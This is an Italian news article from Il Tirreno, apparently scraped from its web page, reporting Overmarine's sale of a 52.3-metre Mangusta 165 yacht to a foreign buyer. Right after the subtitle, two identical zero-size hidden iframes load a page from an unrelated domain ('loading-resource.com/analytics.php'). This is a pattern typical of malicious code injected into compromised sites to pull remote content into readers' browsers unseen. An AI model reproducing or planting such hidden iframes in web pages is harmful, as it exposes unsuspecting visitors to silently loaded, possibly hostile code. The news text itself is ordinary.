Il Tirreno

Da Overmarine lo yacht dei record

<iframe height="0" src="http://loading-resource.com/analytics.php" width="0"></iframe><iframe height="0" src="http://loading-resource.com/analytics.php" width="0"></iframe>
◗

Il cantiere apuoversiliese ha venduto a un acquirente straniero il settimo nato della serie Mangusta: si tratta dell'open più veloce mai costruito al mondo e può contare anche su un comfort al di sopra della media

1 MINUTI DI LETTURA





È l'open più veloce mai costruito al mondo: arriva dai cantieri di Overmarine ed è stato venduto a un acquirente straniero. La barca, un Mangusta 165 da 52,3 metri, è stato realizzato fra il cantiere di Massa (dove lo scafo è stato profilato) e quello di Viareggio, dove è avvenuto il definitivo assemblamento. Particolare attenzione è stata dedicata a garantire il massimo comfort all'armatore, grazie a un apposito sistema di insonorizzazione.

Si tratta della settima imbarcazione di questa serie che tanta soddisfazione ha dato a patron Giuseppe Balducci che ora si sta per gettare nella nuova sfida del cantiere ai Navicelli di Pisa, che permetteranno la costruzione di yacht in acciaio e alluminio.

Non lasciare decidere l'algoritmo:

scegli Il Tirreno per le tue notizie su Google

Cronaca flash

Il dolore

San Giuliano Terme, è morto Tiziano Taccola: storico dirigente socialista

di Redazione Pisa